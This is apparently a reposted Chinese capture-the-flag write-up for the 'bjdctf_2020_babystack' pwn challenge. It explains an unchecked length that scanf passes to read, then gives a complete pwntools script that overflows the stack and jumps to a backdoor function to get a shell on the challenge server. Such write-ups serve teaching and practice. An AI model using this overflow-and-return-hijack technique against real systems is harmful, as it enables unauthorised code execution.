當前位置:網站首頁>bjdctf_2020_babystack

bjdctf_2020_babystack

2022-06-24 07:22:18[mzq]

bjdctf_2020_babystack

在這裏插入圖片描述
checksec 一下 64比特程序 沒開啥東西 ,ida看一下程序
在這裏插入圖片描述

main函數

咋一看read函數讀入0個字符串,讀了個寂寞,scanf也不能溢出,好像沒有問題
在這裏插入圖片描述

但是scanf會讀入一個用戶輸入的數賦值給nbytes ,然後read會讀取nbytes大小的字符,也就是說我們可以任意溢出長度
在這裏插入圖片描述

backdoor函數

運行這個函數直接拿到shell
在這裏插入圖片描述
exp
ret 是為了平衡棧 其實往backdoor函數後遞+1也行

from pwn import *

io = process("./bjdctf_2020_babystack")
io = remote("node4.buuoj.cn",29159)
elf = ELF("./bjdctf_2020_babystack")
context(log_level="debug",arch="amd64")
backdoor = elf.symbols["backdoor"]
ret = 0x0000000000400561

print backdoor

io.sendlineafter(b"Please input the length of your name:","100")


payload = "a"*16 + "b"*8 + p64(ret) + p64(backdoor)
payload = flat(["a"*16,"b"*8,ret,backdoor])

io.sendlineafter("What's u name?",payload)
io.interactive()

在這裏插入圖片描述

版權聲明
本文為[[mzq]]所創,轉載請帶上原文鏈接,感謝
https://cht.chowdera.com/2022/175/202206240137467401.html

隨機推薦